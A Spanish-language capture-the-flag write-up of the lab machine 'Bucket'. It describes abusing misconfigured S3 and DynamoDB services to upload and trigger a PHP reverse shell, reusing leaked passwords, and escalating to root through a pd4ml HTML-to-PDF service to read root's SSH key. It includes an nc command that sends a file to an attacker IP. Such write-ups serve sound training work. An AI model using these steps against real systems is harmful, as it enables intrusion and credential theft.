Bucket
Resumen: En esta ocasión es una Máquina Linux con dos puertos abiertos ssh:22 y http:80, se descubrió dos servicios de AWS los cuales están mal configurados y nos podemos aprovechar de ellos, posteriormente para la escalada de privilegios se detectó un servicio web corriendo de forma local como root.

Lo primero que hago es realizar un escaneo con nmap para saber los puertos abiertos en el rango del 1-65536.
# Nmap 7.91 scan initiated Sun Feb 28 21:49:27 2021 as: nmap -p- --open -n -T5 -v -oG allPorts 10.10.10.212
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.212 () Status: Up
Host: 10.10.10.212 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
# Nmap done at Sun Feb 28 21:50:01 2021 -- 1 IP address (1 host up) scanned in 34.05 secondsBandera
Descripción
-p-
Escaneo a los 65536 puertos
--open
Reporta solo los puertos con estado "open".
-T5
Exploracion a velocidades insanas (lo hago porque es un entorno de pruebas).
-v
Muestra más información sobre el sondeo que se está realizando.
-oG allPorts
Exporta los resultados en un formato Grepable con el nombre de allPorts.
Posteriormente verificamos las versiones de los servicios y haremos uso de scripts por default.
Bandera
Descripción
-p22,80
Escaneo a los puertos 22 y 80.
-sC
Escanea con los scripts por defecto.
-sV
Intenta determinar la versión del servicio que se ejecuta en el puerto.
-oN
Exporta los resultados en un formato nmap.
Visitamos http://10.10.10.212/

Añadimos bucket.htb a /etc/hosts.
# echo ”10.10.10.212 bucket.htb” >> /etc/hosts

En el HTML podemos ver que existe una URL hacia un bucket. Lo agregamos s3.bucket.htb a /etc/hosts.
# echo ”10.10.10.212 s3.bucket.htb” >> /etc/hosts
Enumeración de directorios en wfuzz en http://bucket.htb/ y en http://s3.bucket.htb/, solo obtuve resultados s3.bucke.htb

En /health vemos que tiene dos servicios habilitados S3 y DynamoDB.

Ahora que sabemos que servicios se están utilizados, descargamos awscil y la configuramos con nuestra access key. Dejaré algunos enlaces de referencia para el que no haya trabajado con estos servicios de AWS.
https://docs.aws.amazon.com/es_es/amazondynamodb/latest/developerguide/Tools.CLI.html
https://stackoverflow.com/questions/34668367/how-to-return-items-in-a-dynamodb-on-aws-cli
https://docs.aws.amazon.com/es_es/cli/latest/userguide/cli-services-s3-commands.html
Listamos tablas de la base de datos.
Ahora listamos el contenido, hasta este momento no sabía para qué servían con estos datos y me pase a analizar el bucket.
O usando Python:
Mostrar bucket, en este caso solo hay uno llamado adserver.
Mostrar objetos.
Subiendo archivo malicioso para obtener una reverse shell.
Realizamos una petición al archivo que hemos subido mediante curl para ejecutar el archivo y obtener una conexión.
curl http://bucket.htb/gazetteshell.php

Como el tiempo para poder ejecutar la reverse shell era variable e inclusive el archivo era borrado después de algunos segundos. Hice el siguiente script para automatizar el proceso que anteriormente se hacía de forma manual.
Basta con ejecutarlo y pasarle como parámetros la url y el archivo en php.

Listando usuarios

Recordando que anteriormente había encontrado tres contraseñas (cuando se analizó DynamoDB), sé probo con el usuario roy y resulto exitoso.
Generamos un par de llaves SSH para mantener conexión de mejor manera. Durante la enumeración de forma manual se detecto un servicio corriendo de forma local, en el puerto 8000.
(netstat -putan || ss -ntpu) | grep "127.0"
Realizamos una petición a este sitio, podemos ver que es un sitio en mantenimiento.

La página está en el directorio /var/www/bucket-app.

Básicamente existe un servicio web corriendo como root, el cual hace uso de pd4ml, el cual sirve para convertir de HTML a PDF.

Visualizando index.php
https://docs.aws.amazon.com/es_es/amazondynamodb/latest/developerguide/GettingStarted.PHP.html

Importa características de AWS en específico de DynamoDb
Si llega una petición post con datos “get_alerts”
Posteriormente creará un nuevo cliente DynamoDBClient
Llama una tabla llamada “alerts” y busca un título con Ransomware.
El contenido de la tabla pasará a utilizarse con Pd4Cmd para ser convertido en pdf y guardarse en /var/www/bucket-app/files/
Para verificar si la tabla “alerts”, se puede hacer de varias formas, utilice Python.
El resultado del script anterior script, podemos ver que dice ”DescribeTable operation: Cannot do operations on a non-existent table”, la tabla no existe por lo tanto debemos de crearla.

Creando la tabla y añadiendo un payload
El siguiente script crea la tabla alerts y a su vez crea un nuevo elemento en ella, recordando el funcionamiento de Pd4Cmd, en put_alerts, debemos de pasarle como parámetro Ransomware seguido de un html, el cual pasará a ser .pdf si hacemos una petición curl. Pero debemos ser rápidos, recuerda que lo creado se borra en cierta cantidad de segundos, pero son los suficientes para poder realizarlo. Haremos una prueba con un HTML para a ver si sirve.
Los datos han sido creados correctamente.

Vemos que los datos han sido insertados.

Ahora podemos realizar la petición post. Para verificar si se convierte en PDF. Los archivos creados los copio a /tmp porque si se quedan ahí se van a borrar.
# curl -X POST --data ”action=get_alerts” http://127.0.0.1:8000/

Nos enviamos el PDF a nuestra máquina:
nc -l -p 1234 > out.pdf
Servidor:
nc -w 3 10.10.15.101 1234 < result.pdf
Abrimos el PDF, Bingo!, No hay nada interesante, pero debemos de recordar que esto se ejecuta como root, por lo que podemos leer cualquier archivo en el sistema.

Después de un rato y realizando varias veces el proceso podemos obtener la llave ssh, en la ruta /root/.ssh/id_rsa.

Probando conexión.

Last updated